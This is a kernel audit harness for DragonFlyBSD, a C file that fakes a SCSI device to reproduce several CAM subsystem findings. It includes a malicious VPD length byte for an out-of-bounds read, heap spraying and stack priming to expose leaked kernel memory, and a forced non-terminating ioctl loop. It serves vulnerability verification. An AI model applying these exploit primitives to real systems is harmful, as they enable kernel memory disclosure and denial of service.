⬢ DragonFlyBSD Kernel Audit
DF-2266 / dfcam_harness.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
/*
 * dfcam_harness.c -- kernel-compiled CAM verification rig.
 *
 * Enables verification of REAL kernel code paths (cam_xpt.c, cam_periph.c,
 * scsi_pass.c, scsi_ses.c -- compiled untouched into the kernel) against a
 * fabricated transport:
 *
 *   DF-2261  PROBE_SERIAL_NUM_1 OOB read + XPT_GDEV_TYPE overflow
 *            (fake target returns VPD 0x80 with knobbed length byte;
 *             kmalloc(255) adjacency sprayed with 0xC3 canaries)
 *   DF-2266  CAMGETPASSTHRU whole-CCB leak (prime pass periph CCB pool,
 *            then CAMGETPASSTHRU; ground-truth pointers printed here)
 *   DF-2278  pass forwards CAM_DATA_PHYS csio.data_ptr verbatim to the
 *            transport (captured here in sim_action; see debug.dfcam.cap)
 *   DF-2280  SESIOC_GETOBJMAP leak (fake SES enclosure with knobbed
 *            object count -> real scsi_ses.c attaches -> /dev/sesN)
 *   DF-2267  cam_periph_ioctl CAMGETPASSTHRU non-termination on a device
 *            whose periph list is empty (fabricated periph+path+ed with
 *            VERBATIM-EXTRACTED cam_ed/cam_et/cam_eb/cam_path layouts;
 *            REAL cam_periph.c + REAL xpt_action(XPT_GDEVLIST) execute)
 *
 * Everything driven by sysctls under debug.dfcam.* (root).
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/kthread.h>
#include <sys/malloc.h>
#include <sys/callout.h>
#include <sys/lock.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_queue.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>
#include <bus/cam/scsi/scsi_pass.h>

/* verbatim-extracted private XPT struct layouts (gen script sha-gated) */
#include "dfcam_structs.h"

/* ---------------- knobs ---------------- */
static int dfcam_devtype = T_DIRECT;
static int dfcam_vpd80_len = 20;
static int dfcam_ses_nobj = 24;
static int dfcam_nattach;
static int dfcam_spray;

/* ---------------- captured state (DF-2278) ---------------- */
static uintptr_t dfcap_data_ptr;
static u_int32_t dfcap_flags;
static u_int32_t dfcap_dxfer;
static u_int32_t dfcap_sgcnt;
static int dfcap_count;
static int dfcap_phys_seen;

/* ---------------- spray state (DF-2261) ---------------- */
#define DFSPRAY_MAX 512
static void *dfspray[DFSPRAY_MAX];
static int dfspray_kept;

/* ---------------- fake SIM ---------------- */
static struct cam_sim *dfcam_sim;
static struct cam_devq *dfcam_devq;
static int dfcam_unit;
static path_id_t dfbus_path_id[8];
static uintptr_t dfcam_softc_addr = 0x51510000; /* marker value handed
						 out as sim_priv */

static void	dfcam_action(struct cam_sim *sim, union ccb *ccb);
static void	dfcam_poll(struct cam_sim *sim);

static void
dfcam_attach_one(void)
{
	if (dfcam_devq == NULL)
		dfcam_devq = cam_simq_alloc(16);
	/*
	 * Use the recursive-safe global sim_mplock: camisr() drains
	 * completions under the SIM lock and probedone()->xpt_async()->
	 * sgasync()->cam_periph_alloc() re-acquires it; a dedicated
	 * (non-recursive) lockmgr lock panics "locking against myself"
	 * for runtime-registered buses.
	 */
	dfcam_sim = cam_sim_alloc(dfcam_action, dfcam_poll, "dfcam",
	    (void *)dfcam_softc_addr, dfcam_unit, &sim_mplock, 16, 16,
	    dfcam_devq);
	if (dfcam_sim == NULL) {
		kprintf("DFCAM: cam_sim_alloc failed\n");
		return;
	}
	CAM_SIM_LOCK(dfcam_sim);
	if (xpt_bus_register(dfcam_sim, 0) != CAM_SUCCESS) {
		kprintf("DFCAM: xpt_bus_register failed\n");
		CAM_SIM_UNLOCK(dfcam_sim);
		return;
	}
	CAM_SIM_UNLOCK(dfcam_sim);
	if (dfcam_unit < 8)
		dfbus_path_id[dfcam_unit] = dfcam_sim->path_id;
	kprintf("DFCAM: bus registered unit=%d path_id=%u devtype=0x%x "
	    "vpd80_len=%d ses_nobj=%d (probe via debug.dfcam.rescan=%d)\n",
	    dfcam_unit, dfcam_sim->path_id, dfcam_devtype,
	    dfcam_vpd80_len, dfcam_ses_nobj, dfcam_unit);
	dfcam_unit++;
	dfcam_nattach++;
}

static void
dfcam_poll(struct cam_sim *sim)
{
}

/*
 * Complete a SCSI IO with `len' bytes of payload already placed at
 * csio->data_ptr (kernel address), setting a proper residual.
 */
static void
dfcam_done_data(union ccb *ccb, u_int32_t len)
{
	ccb->csio.scsi_status = SCSI_STATUS_OK;
	if (ccb->csio.dxfer_len > len)
		ccb->csio.resid = ccb->csio.dxfer_len - len;
	else
		ccb->csio.resid = 0;
	ccb->ccb_h.status = CAM_REQ_CMP;
	xpt_done(ccb);
}

static void
dfcam_action(struct cam_sim *sim, union ccb *ccb)
{
	u_int8_t *cdb;
	u_int8_t *d;
	volatile char df_stackpad[2048];	/* DF-2280 stack primer */

	/* dirty 2KB of THIS thread kernel stack with 0xC3 so a following
	 * sesioctl(SESIOC_GETOBJMAP) on the same thread copies primed
	 * bytes out through the ses_object tail padding */
	memset((void *)(uintptr_t)df_stackpad, 0xC3, sizeof(df_stackpad));
	if (df_stackpad[17] == 0x42)
		kprintf("DFCAM: (impossible)\n");

	/* record what the transport layer handed us (DF-2278) */
	dfcap_data_ptr = (uintptr_t)ccb->csio.data_ptr;
	dfcap_flags = ccb->ccb_h.flags;
	dfcap_dxfer = ccb->csio.dxfer_len;
	dfcap_sgcnt = ccb->csio.sglist_cnt;
	dfcap_count++;
	if (ccb->ccb_h.flags & (CAM_DATA_PHYS | CAM_SG_LIST_PHYS))
		dfcap_phys_seen = 1;

	/* a real SIM tags the CCB with its softc: ground truth for the
	 * DF-2266 leak attribution */
	ccb->ccb_h.sim_priv.entries[0].ptr = (void *)dfcam_softc_addr;

	/*
	 * DF-2278 capture-only path: when pass forwards a raw
	 * CAM_DATA_PHYS / CAM_SG_LIST_PHYS address we record it but
	 * never touch it (the stock atapi transport DOES touch it,
	 * panicking the kernel -- see panic_stock_ata_pio.txt).
	 */
	if (ccb->ccb_h.func_code == XPT_SCSI_IO &&
	    (ccb->ccb_h.flags & (CAM_DATA_PHYS | CAM_SG_LIST_PHYS)) != 0) {
		kprintf("DFCAM: SIM received raw PHYS data_ptr=%#zx "
		    "flags=%#x dxfer=%u -- COMPLETING WITHOUT TOUCHING "
		    "(capture-only)\n", (size_t)ccb->csio.data_ptr,
		    ccb->ccb_h.flags, ccb->csio.dxfer_len);
		ccb->csio.scsi_status = SCSI_STATUS_OK;
		ccb->csio.resid = ccb->csio.dxfer_len;
		ccb->ccb_h.status = CAM_REQ_CMP;
		xpt_done(ccb);
		return;
	}

	switch (ccb->ccb_h.func_code) {
	case XPT_SCSI_IO:
		break;
	case XPT_PATH_INQ:
	{
		struct ccb_pathinq *cpi = &ccb->cpi;

		cpi->version_num = 1;
		cpi->hba_inquiry = 0;
		cpi->target_sprt = 0;
		cpi->hba_misc = PIM_NOBUSRESET;
		cpi->hba_eng_cnt = 0;
		cpi->max_target = 0;
		cpi->max_lun = 0;
		cpi->unit_number = cam_sim_unit(sim);
		cpi->bus_id = cam_sim_bus(sim);
		cpi->initiator_id = 7;
		cpi->base_transfer_speed = 3300;
		strncpy(cpi->sim_vid, "DFCAM", SIM_IDLEN);
		strncpy(cpi->hba_vid, "DFAUDIT", HBA_IDLEN);
		strncpy(cpi->dev_name, cam_sim_name(sim), DEV_IDLEN);
		cpi->transport = XPORT_SPI;
		cpi->transport_version = 2;
		cpi->protocol = PROTO_SCSI;
		cpi->protocol_version = SCSI_REV_2;
		cpi->ccb_h.status = CAM_REQ_CMP;
		break;
	}
	case XPT_RESET_BUS:
	case XPT_RESET_DEV:
	case XPT_ABORT:
	case XPT_TERM_IO:
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	case XPT_GET_TRAN_SETTINGS:
	case XPT_SET_TRAN_SETTINGS:
		ccb->ccb_h.status = CAM_FUNC_NOTAVAIL;
		break;
	case XPT_CALC_GEOMETRY:
		cam_calc_geometry(&ccb->ccg, /* extended */ 1);
		break;
	default:
		ccb->ccb_h.status = CAM_REQ_INVALID;
		break;
	}
	if (ccb->ccb_h.func_code != XPT_SCSI_IO) {
		xpt_done(ccb);
		return;
	}

	/* XPT_SCSI_IO: scripted device responses */
	cdb = ccb->csio.cdb_io.cdb_bytes;
	d = ccb->csio.data_ptr;
	ccb->ccb_h.status = CAM_REQ_CMP;
	ccb->csio.scsi_status = SCSI_STATUS_OK;
	ccb->csio.resid = 0;

	switch (cdb[0]) {
	case 0x12:	/* INQUIRY */
	{
		struct scsi_inquiry_data *inq = (void *)d;
		u_int32_t dlen = ccb->csio.dxfer_len;

		if (cdb[1] & 0x01) {	/* evpd */
			u_int8_t page = cdb[2];
			if (page == SVPD_SUPPORTED_PAGE_LIST) {
				struct scsi_vpd_supported_page_list *pl =
				    (void *)d;
				bzero(pl, ccb->csio.dxfer_len <
				    sizeof(*pl) ? ccb->csio.dxfer_len :
				    sizeof(*pl));
				pl->device = dfcam_devtype;
				pl->page_code = SVPD_SUPPORTED_PAGE_LIST;
				pl->length = 2;
				pl->list[0] = 0x00;
				pl->list[1] = SVPD_UNIT_SERIAL_NUMBER;
				dfcam_done_data(ccb, 8);
				return;
			}
			if (page == SVPD_UNIT_SERIAL_NUMBER) {
				struct scsi_vpd_unit_serial_number *sn =
				    (void *)d;
				u_int32_t len = sizeof(*sn);
				u_int32_t fill;
				int i;

				if (len > ccb->csio.dxfer_len)
					len = ccb->csio.dxfer_len;
				bzero(sn, len);
				sn->device = dfcam_devtype;
				sn->page_code = SVPD_UNIT_SERIAL_NUMBER;
				/*
				 * MALICIOUS length byte: claims up to 255
				 * serial bytes although serial_num[] holds
				 * only 251.  The buffer as a whole is 255
				 * bytes; bytes past it are the kernel heap
				 * neighbor (sprayed canary).
				 */
				sn->length = (u_int8_t)dfcam_vpd80_len;
				fill = dfcam_vpd80_len;
				if (fill > SVPD_SERIAL_NUM_SIZE)
					fill = SVPD_SERIAL_NUM_SIZE;
				for (i = 0; i < (int)fill; i++)
					sn->serial_num[i] = 'a' + (i % 26);
				/* "DMA" only what physically fits */
				dfcam_done_data(ccb,
				    4 + (dfcam_vpd80_len <
				    (int)SVPD_SERIAL_NUM_SIZE ?
				    dfcam_vpd80_len : SVPD_SERIAL_NUM_SIZE));
				return;
			}
			/* unknown page: not supported */
			ccb->csio.scsi_status = SCSI_STATUS_CHECK_COND;
			ccb->ccb_h.status = CAM_SCSI_STATUS_ERROR;
			xpt_done(ccb);
			return;
		}
		/*
		 * NEVER touch more than dxfer_len bytes: the probe
		 * allocates SHORT_INQUIRY_LENGTH (36) bytes, while
		 * sizeof(struct scsi_inquiry_data) is larger.
		 */
		if (dlen > sizeof(*inq))
			dlen = sizeof(*inq);
		bzero(inq, dlen);
		inq->device = dfcam_devtype;
		inq->version = 0x05;			/* SPC-3 */
		inq->response_format = 0x02; /* SCSI-2 response format */
		inq->additional_length = 0x1f;	/* 36 total: no FULL_INQUIRY */
		strncpy(inq->vendor, "DFCAM", SID_VENDOR_SIZE);
		strncpy(inq->product, "FAKEDEV", SID_PRODUCT_SIZE);
		strncpy(inq->revision, "0.1", SID_REVISION_SIZE);
		dfcam_done_data(ccb, 36 < ccb->csio.dxfer_len ? 36 :
		    ccb->csio.dxfer_len);
		return;
	}
	case 0x1c:	/* RECEIVE DIAGNOSTIC RESULTS */
	{
		u_int8_t page = cdb[1];		/* page code byte is cdb[1]? */
		u_int8_t *cfg = d;
		int nobj = dfcam_ses_nobj;
		int len;

		/* RECEIVE DIAGNOSTIC cdb: op, pc/pg, alloc..., control.
		 * ses_getconfig sends page 0x01 in byte 2 (SesConfigPage)
		 * with the pym flag in byte 1 -- mirror the cdb the ses
		 * driver builds: byte1=0x1, byte2=SesConfigPage. */
		page = cdb[2];
		if (page != 0x01) {
			/* status page etc.: all-ok zeros */
			bzero(d, ccb->csio.dxfer_len);
			dfcam_done_data(ccb, ccb->csio.dxfer_len);
			return;
		}
		bzero(d, 64);
		cfg[0] = 0x01;		/* config page */
		cfg[1] = 0;		/* Nsubenc = 0 -> 1 subenclosure */
		/* GenCode 0 at 4..7 */
		cfg[9] = 0;		/* Subencid */
		cfg[10] = 1;		/* Ntypes = 1 */
		cfg[11] = 8;		/* VEnclen: descriptor length */
		/* enclosure descriptor bytes 12..19 */
		cfg[12] = 0x0d;		/* enclosure type */
		/* type header for type 0 at offset 20 */
		cfg[20] = 0x01;		/* enc_type: device */
		cfg[21] = (u_int8_t)nobj;	/* enc_maxelt: objects! */
		cfg[22] = 0;		/* enc_subenc */
		cfg[23] = 0;		/* enc_tlen */
		len = 24 + 8 * nobj;	/* + subtype descs (ignored) */
		if (len > 64)
			len = 64;
		dfcam_done_data(ccb, len);
		return;
	}
	case 0x03:	/* REQUEST SENSE */
		bzero(d, ccb->csio.dxfer_len);
		dfcam_done_data(ccb, ccb->csio.dxfer_len);
		return;
	case 0x25:	/* READ CAPACITY */
	{
		u_int8_t *rc = d;

		if (ccb->csio.dxfer_len >= 8)
			bzero(rc, 8);
		rc[4] = 0; rc[5] = 0; rc[6] = 2; rc[7] = 0; /* 512b blocks */
		dfcam_done_data(ccb, 8);
		return;
	}
	default:
		/* TEST UNIT READY, MODE SENSE, and everything else: OK */
		bzero(d, ccb->csio.dxfer_len);
		dfcam_done_data(ccb, ccb->csio.dxfer_len);
		return;
	}
}

/* ---------------- spray (DF-2261 adjacency canary) ---------------- */
static void
dfcam_do_spray(int n)
{
	int i;

	if (n > DFSPRAY_MAX / 2)
		n = DFSPRAY_MAX / 2;
	for (i = 0; i < dfspray_kept; i++) {
		if (dfspray[i]) {
			kfree(dfspray[i], M_TEMP);
			dfspray[i] = NULL;
		}
	}
	dfspray_kept = 0;
	for (i = 0; i < 2 * n; i++) {
		void *p = kmalloc(255, M_TEMP, M_INTWAIT);

		memset(p, 0xC3, 255);
		dfspray[i] = p;
	}
	/* free every other object so probe kmalloc(255) can land between
	 * two 0xC3-filled neighbors */
	for (i = 0; i < 2 * n; i += 2) {
		kfree(dfspray[i], M_TEMP);
		dfspray[i] = NULL;
	}
	for (i = 0; i < 2 * n; i++)
		if (dfspray[i])
			dfspray[dfspray_kept++] = dfspray[i];
	kprintf("DFCAM: sprayed %d kept canary objects of 255 bytes "
	    "(0xC3 filled), %d holes poked\n", dfspray_kept, n);
}

/* ---------------- DF-2267 fabricated periph spin ---------------- */
static struct cam_eb df67_eb;
static struct cam_et df67_et;
static struct cam_ed *df67_ed;
static struct cam_path df67_path;
static struct cam_periph df67_periph;
static struct cam_sim df67_sim;	/* fabricated; only ->lock is used */
static struct lock df67_lock;
static union ccb *df67_ccb;
static struct callout df67_ch;
static int df67_spinning;
static int df67_lockprobe_result = -12345;
static char *df67_buf;

static void
df67_watchdog(void *arg)
{
	if (df67_spinning) {
		int rc;

		/* LK_NOWAIT probe: if the spinning thread still holds the
		 * SIM lock this fails with EBUSY -- proof of lock-held */
		rc = lockmgr(&df67_lock, LK_EXCLUSIVE | LK_NOWAIT);
		df67_lockprobe_result = rc;
		if (rc == 0)
			lockmgr(&df67_lock, LK_RELEASE);
		kprintf("DF67: spin still running (thread df67spin); "
		    "SIM-lock NOWAIT probe rc=%d (%s)\n", rc,
		    rc ? "LOCK STILL HELD by spinner" : "lock free");
		callout_reset(&df67_ch, 5 * hz, df67_watchdog, NULL);
	}
}

static void
df67_spin_thread(void *arg)
{
	kprintf("DF67: entering REAL cam_periph_ioctl(CAMGETPASSTHRU) on "
	    "fabricated periph with EMPTY device periph list -- expect "
	    "non-terminating loop (CAM_GDEVLIST_ERROR forever)\n");
	cam_periph_lock(&df67_periph);
	cam_periph_ioctl(&df67_periph, CAMGETPASSTHRU, df67_buf, NULL);
	/* NOT REACHED in the vulnerable case */
	cam_periph_unlock(&df67_periph);
	kprintf("DF67: cam_periph ioctl RETURNED (unexpected for empty "
	    "list)\n");
	kthread_exit();
}

static void
dfcam_do_spin67(void)
{
	if (df67_spinning) {
		kprintf("DF67: already spinning\n");
		return;
	}
	bzero(&df67_eb, sizeof(df67_eb));
	bzero(&df67_et, sizeof(df67_et));
	bzero(&df67_path, sizeof(df67_path));
	bzero(&df67_periph, sizeof(df67_periph));

	df67_ed = kmalloc(sizeof(*df67_ed), M_TEMP, M_INTWAIT | M_ZERO);
	df67_eb.path_id = 0x63;		/* arbitrary */
	df67_et.target_id = 0;
	df67_ed->lun_id = 0;
	SLIST_INIT(&df67_ed->periphs);	/* EMPTY: the trigger condition */
	df67_ed->generation = 1;
	df67_path.bus = &df67_eb;
	df67_path.target = &df67_et;
	df67_path.device = df67_ed;
	lockinit(&df67_lock, "df67lk", 0, 0);
	bzero(&df67_sim, sizeof(df67_sim));
	df67_sim.lock = &df67_lock;	/* dedicated rig lock */
	df67_periph.path = &df67_path;
	df67_periph.sim = &df67_sim;
	df67_periph.periph_name = "df67pass";
	df67_periph.unit_number = 67;
	df67_periph.flags = CAM_PERIPH_RUNNING;
	df67_ccb = kmalloc(sizeof(*df67_ccb), M_TEMP, M_INTWAIT | M_ZERO);
	df67_ccb->ccb_h.timeout_ch = kmalloc(sizeof(struct callout),
	    M_TEMP, M_INTWAIT | M_ZERO);
	/* cam_periph_ioctl() runs xpt_setup_ccb(ccb->ccb_h.path, ...) on
	 * the pooled CCB: the pool normally carries a valid path */
	df67_ccb->ccb_h.path = &df67_path;
	SLIST_INSERT_HEAD(&df67_periph.ccb_list, &df67_ccb->ccb_h,
	    periph_links.sle);
	df67_buf = kmalloc(sizeof(union ccb), M_TEMP, M_INTWAIT);

	df67_spinning = 1;
	kthread_create(df67_spin_thread, NULL, NULL, "df67spin");
	callout_init(&df67_ch);
	callout_reset(&df67_ch, 3 * hz, df67_watchdog, NULL);
}

/* ---------------- kernel-side scan (lock-correct) ---------------- */
static void
dfcam_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	/* nothing to do; the scan ccb is freed by the scan thread */
}

static void
dfcam_scan_thread(void *arg)
{
	path_id_t bus = (path_id_t)(uintptr_t)arg;
	struct cam_path *path;
	union ccb *ccb;

	/*
	 * Userland-triggered scans (xptioctl XPT_SCAN_BUS) hold the SIM
	 * lock across xpt_action, and cam_periph_alloc() re-acquires it
	 * while registering the probe periph -> "lockmgr: locking against
	 * myself" panic on an empty bus.  The boot-time scan path does
	 * NOT hold the lock, so drive the scan from here the same way,
	 * with no lock held (xpt_periph is exported via cam_periph.h).
	 */
	if (xpt_create_path(&path, xpt_periph, bus,
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
		ccb = xpt_alloc_ccb();
		xpt_setup_ccb(&ccb->ccb_h, path, 5);
		ccb->ccb_h.func_code = XPT_SCAN_BUS;
		ccb->ccb_h.cbfcnp = dfcam_scan_done;
		kprintf("DFCAM: kernel-side XPT_SCAN_BUS on bus %u "
		    "(no SIM lock held)\n", bus);
		xpt_action(ccb);
		kprintf("DFCAM: scan of bus %u complete status=%#x\n",
		    bus, ccb->ccb_h.status & CAM_STATUS_MASK);
		xpt_free_ccb(&ccb->ccb_h);
		xpt_free_path(path);
	} else {
		kprintf("DFCAM: xpt_create_path for bus %u failed\n", bus);
	}
	kthread_exit();
}

/* ---------------- sysctls ---------------- */
static int
dfcam_sysctl_attach(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t != 1)
		return (error);
	dfcam_attach_one();
	return (0);
}

static int
dfcam_sysctl_spray(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t <= 0)
		return (error);
	dfcam_do_spray(t);
	dfcam_spray = t;
	return (0);
}

static int
dfcam_sysctl_ground(SYSCTL_HANDLER_ARGS)
{
	char buf[512];

	ksnprintf(buf, sizeof(buf),
	    "dfcam_softc_addr=%p sim=%p df67_lock=%p sim_priv_ground=%p "
	    "unit=%d nattach=%d last_target=%d spray_kept=%d "
	    "cap[ptr=%#zx flags=%#x dxfer=%u sg=%u phys_seen=%d n=%d] "
	    "spin67=%d lockprobe=%d\n",
	    (void *)dfcam_softc_addr, dfcam_sim, &df67_lock,
	    (void *)dfcam_softc_addr, dfcam_unit, dfcam_nattach,
	    dfcam_unit - 1, dfspray_kept,
	    dfcap_data_ptr, dfcap_flags, dfcap_dxfer, dfcap_sgcnt,
	    dfcap_phys_seen, dfcap_count,
	    df67_spinning, df67_lockprobe_result);
	sysctl_handle_string(oidp, buf, sizeof(buf), req);
	return (0);
}

static int
dfcam_sysctl_spin67(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t != 1)
		return (error);
	dfcam_do_spin67();
	return (0);
}

static int
dfcam_sysctl_rescan(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL || t < 0)
		return (error);
	if (t >= dfcam_unit) {
		kprintf("DFCAM: rescan: no such bus unit %d (have %d)\n",
		    t, dfcam_unit);
		return (EINVAL);
	}
	kthread_create(dfcam_scan_thread,
	    (void *)(uintptr_t)dfbus_path_id[t], NULL, "dfcamscan");
	return (0);
}

SYSCTL_NODE(_debug, OID_AUTO, dfcam, CTLFLAG_RW, 0, "df CAM rig");
SYSCTL_INT(_debug_dfcam, OID_AUTO, devtype, CTLFLAG_RW, &dfcam_devtype, 0,
    "SCSI device type for next attach (0=direct 0x0d=enclosure)");
SYSCTL_INT(_debug_dfcam, OID_AUTO, vpd80_len, CTLFLAG_RW, &dfcam_vpd80_len,
    0, "VPD 0x80 length byte returned by fake target (255 = malicious)");
SYSCTL_INT(_debug_dfcam, OID_AUTO, ses_nobj, CTLFLAG_RW, &dfcam_ses_nobj, 0,
    "SES config page object count");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, attach, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_attach, "I", "1=register another dfcam bus");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, spray, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_spray, "I", "kmalloc 255B canary objects");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, ground, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, dfcam_sysctl_ground, "A", "ground-truth addresses/counters");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, spin67, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_spin67, "I", "1=start DF-2267 CAMGETPASSTHRU spin");
SYSCTL_PROC(_debug_dfcam, OID_AUTO, rescan, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfcam_sysctl_rescan, "I",
    "kernel-side XPT_SCAN_BUS of dfcam bus <unit> (lock-correct)");